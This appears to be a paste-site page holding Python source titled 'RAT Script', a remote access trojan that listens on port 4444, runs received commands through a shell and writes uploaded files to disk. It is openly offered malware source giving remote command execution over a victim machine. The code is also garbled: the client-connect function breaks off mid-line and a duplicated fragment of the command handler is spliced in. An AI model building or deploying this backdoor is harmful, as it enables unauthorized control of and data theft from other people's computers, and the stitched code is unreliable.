RAT Script
unknown
python
a year ago
3.0 kB
6
Indexable
import socket
import os
import subprocess
import sys
import base64
import threading
import argparse
def create_socket(host='0.0.0.0', port=4444, is_server=True):
if is_server:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(5)
print(f"Server started on {host}:{port}")
else:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((host, port))
return client_socket if not is_server else server_socket
def handle_client(client_socket):
while True:
try:
command = client_socket.recv(1024).decode('utf-8')
if command.lower() == 'exit':
break
elif command.lower() == 'upload':
file_name = client_socket.recv(1024).decode('utf-8')
file_data = client_socket.recv(4096)
while file_data:
file_data += client_socket.recv(4096)
with open(file_name, 'wb') as file:
file.write(base64.b64decode(file_data))
client_socket.send(b'File uploaded successfully.')
else:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
client_socket.send(result.stdout.encode('utf-8') + result.stderr.encode('utf-8'))
except Exception as e:
print(f"Error: {e}")
break
client_socket.close()
def start_server(host='0.0.0.0', port=4444):
server_socket = create_socket(host, port, is_server=True)
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
client_handler = threading.Thread(target=handle_client, args=(client_socket,))
client_handler.start()
def connect_to_server(ip, port):
client_socket = create```python
with open(file_name, 'wb') as file:
file.write(base64.b64decode(file_data))
client_socket.send(b'File uploaded successfully.')
else:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
client_socket.send(result.stdout.encode('utf-8') + result.stderr.encode('utf-8'))
except Exception as e:
print(f"Error: {e}")
break
client_socket.close()
def main():
parser = argparse.ArgumentParser(description='RAT Script')
parser.add_argument('mode', choices=['server', 'client'], help='Mode of operation')
parser.add_argument('--ip', default='127.0.0.1', help='IP address to connect to (for client mode)')
parser.add_argument('--port', type=int, default=4444, help='Port number to connect to (for client mode)')
args = parser.parse_args()
if args.mode == 'server':
start_server()
elif args.mode == 'client':
connect_to_server(args.ip, args.port)
if __name__ == "__main__":
main()Editor is loading...
Leave a Comment